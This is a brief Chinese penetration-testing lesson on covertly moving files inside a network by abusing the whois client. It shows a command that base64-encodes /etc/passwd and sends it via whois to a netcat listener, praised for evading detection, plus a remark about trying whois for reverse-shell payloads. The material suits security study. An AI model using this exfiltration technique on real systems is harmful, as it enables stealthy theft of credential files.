# 第五十三课：内网渗透中的文件传输

利用whois传输文件：

传输机：

```bash
root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`
```

接受机：

```bash
root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d
```

![](/files/-LZJx91FtjaJeHPRFtQd)

![](/files/-LZJx91K0e7i98wGF4Dh)

**优点：**适用于隐蔽传输。最小化被发现。\
**缺点：**适用于传输小文件。

> 后者的话：whois是否同样适用于payload的反弹，是一个非常有趣的实验。
